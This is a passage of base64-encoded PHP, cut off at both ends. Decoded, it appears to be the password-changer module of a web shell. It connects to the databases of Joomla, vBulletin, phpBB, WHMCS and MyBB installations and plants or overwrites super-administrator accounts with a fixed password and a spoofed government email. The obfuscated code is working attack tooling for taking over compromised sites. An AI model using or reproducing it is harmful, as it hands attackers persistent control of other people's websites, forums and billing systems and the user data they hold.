oJ3RkMScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnam9zXycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDYnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwNCiAndGQ4JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7DQokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMyddOw0KJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhNCddOw0KJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOw0KJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNiddOw0KJGFkbWluID0gJF9QT1NUWydhbGZhOCddOw0KJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsNCiRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChpZCxuYW1lLHVzZXJuYW1lLGVtYWlsLHBhc3N3b3JkKSB2YWx1ZXMobnVsbCwnU3VwZXIgVXNlcicsJyIuJGFkbWluLiInLCciLiRTUUwuIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IGlkIGZyb20gIi4kcHJlZml4LiJ1c2VycyB3aGVyZSB1c2VybmFtZT0nIi4kYWRtaW4uIiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZSA9QG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOw0KaWYgKCRzb2xlID09IDEpew0KJHNvbGV2aXMgPUBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsNCiRyZXMgPSAkc29sZXZpc1snaWQnXTsNCn0NCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJJTlNFUlQgSU5UTyAiLiRwcmVmaXguInVzZXJfdXNlcmdyb3VwX21hcCAodXNlcl9pZCxncm91cF9pZCkgVkFMVUVTICgnIi4kcmVzLiInLCAnOCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQ0KfQ0KfQ0KaWYoJF9QT1NUWydhbGZhNCddICYmICRfUE9TVFsnYWxmYTQnXSA9PSAndmInKXsNCg0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdkJ1bGxldGluIHw8ZGl2PjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDYnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICdoaScsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLA0KICd0ZDgnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZigkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokU1FMID0gJF9QT1NUWydhbGZhOSddOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsNCiRwd19jb2wgPSBAbXlzcWxpX2Nvbm5lY3QoIlNFTEVDVCBjb2x1bW5fbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWUgPSAneyRwcmVmaXh9dXNlcicgYW5kIGNvbHVtbl9uYW1lID0gJ3Bhc3N3b3JkJyBhbmQgdGFibGVfc2NoZW1hID0gJ3skZGF0YWJhc2V9JyIpOw0KJHB3X2NvbCA9IEBteXNxbGlfbnVtX3Jvd3MoJHB3X2NvbCk7DQokYWRtX3Blcm0gPSAiMTY3NDQ0NDQiOw0KaWYoJHB3X2NvbCA+IDApew0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fXVzZXIgKHVzZXJpZCx1c2VyZ3JvdXBpZCx1c2VybmFtZSxwYXNzd29yZCxzYWx0LGVtYWlsLHBhc3N3b3JkZGF0ZSxqb2luZGF0ZSkgdmFsdWVzKG51bGwsJzYnLCckYWRtaW4nLCc1MmUyOGI3OGY1NTY0MWNkNDYxOGFkMWEyMGY1ZmQ1YycsJ1h3fEliR0xoVFFBLUF3QXBWdj42MXleKHpdKjxRTicsJyRTUUwnLCciLmRhdGUoJ1ktbS1kJykuIicsJyIudGltZSgpLiInKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCn1lbHNlew0KJGFkbV9wZXJtID0gIjIxNDMyNTY0NDQiOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fXVzZXIgKHVzZXJpZCx1c2VyZ3JvdXBpZCx1c2VybmFtZSx0b2tlbixzZWNyZXQsZW1haWwscGFzc3dvcmRkYXRlLGpvaW5kYXRlLHNjaGVtZSxiaXJ0aGRheV9zZWFyY2gpIHZhbHVlcyhudWxsLCc2JywnJGFkbWluJywnXCQyeVwkMTBcJFlzVmhWLjl0TG56Qll4YXIxQkpBR08zdkZ6NjgvcURVN0p0NjJTRGRMeTZsVVQ5TjVaL3dxJywnUWZ+QURlQX1pQWV5LSYjQUxRRjx9L3VCRHFTbnc+JywnJFNRTCcsJyIuZGF0ZSgnWS1tLWQnKS4iJywnIi50aW1lKCkuIicsJ2Jsb3dmaXNoOjEwJywnMTk4NC0wNS0yMCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KfQ0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1c2VyaWQgZnJvbSB7JHByZWZpeH11c2VyIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xlID0gbXlzcWxpX251bV9yb3dzKCRzb2xldmlzaWJsZSk7DQppZigkc29sZSA9PSAxKXsNCiRzb2xldmlzID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7DQokcmVzID0gJHNvbGV2aXNbJ3VzZXJpZCddOw0KfQ0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fWFkbWluaXN0cmF0b3IgKHVzZXJpZCxhZG1pbnBlcm1pc3Npb25zKSB2YWx1ZXMoJyIuJHJlcy4iJywnIi4kYWRtX3Blcm0uIicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJ3BocGJiJyl7DQoNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBwaHBCQiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdwaHBiYicpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsXCdwaHBiYlwnLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksDQogJ3RkOCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokaGFzaCA9IG1kNSgnc29sZXZpc2libGUnKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcm5hbWVfY2xlYW4gPSciLiRhZG1pbi4iJyBXSEVSRSB1c2VybmFtZV9jbGVhbiA9ICdhZG1pbiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcm5hbWVfY2xlYW4gPSciLiRhZG1pbi4iJyBXSEVSRSB1c2VyX3R5cGUgPSAzIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX3Bhc3N3b3JkID0nIi4kaGFzaC4iJyBXSEVSRSB1c2VyX3R5cGUgPSAzIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSAmJiAkX1BPU1RbJ2FsZmE2J10gPT0gJ3dobWNzJyl7DQoNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBXaG1jcyB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCd3aG1jcycpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxcJ3dobWNzXCcsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksDQogJ3RkOCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHRibGFkbWlucyAoaWQscm9sZWlkLHVzZXJuYW1lLHBhc3N3b3JkLGVtYWlsLHRlbXBsYXRlLGhvbWV3aWRnZXRzKSB2YWx1ZXMobnVsbCwnMScsJyIuJGFkbWluLiInLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScsJyIuJFNRTC4iJywnYmxlbmQnLCdnZXR0aW5nX3N0YXJ0ZWQ6dHJ1ZSxvcmRlcnNfb3ZlcnZpZXc6dHJ1ZSxzdXBwb3J0dGlja2V0c19vdmVydmlldzp0cnVlLG15X25vdGVzOnRydWUsY2xpZW50X2FjdGl2aXR5OnRydWUsb3Blbl9pbnZvaWNlczp0cnVlLGFjdGl2aXR5X2xvZzp0cnVlfGluY29tZV9vdmVydmlldzp0cnVlLHN5c3RlbV9vdmVydmlldzp0cnVlLHdobWNzX25ld3M6dHJ1ZSxzeXNpbmZvOnRydWUsYWRtaW5fYWN0aXZpdHk6dHJ1ZSx0b2RvX2xpc3Q6dHJ1ZSxuZXR3b3JrX3N0YXR1czp0cnVlLGluY29tZV9mb3JlY2FzdDp0cnVlfCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNyddKSAmJiAkX1BPU1RbJ2FsZmE3J10gPT0gJ215YmInKXsNCg0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE15YmIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnbXliYicpLic8L3A+PGZvcm0gb25zdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLFwnbXliYlwnLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnb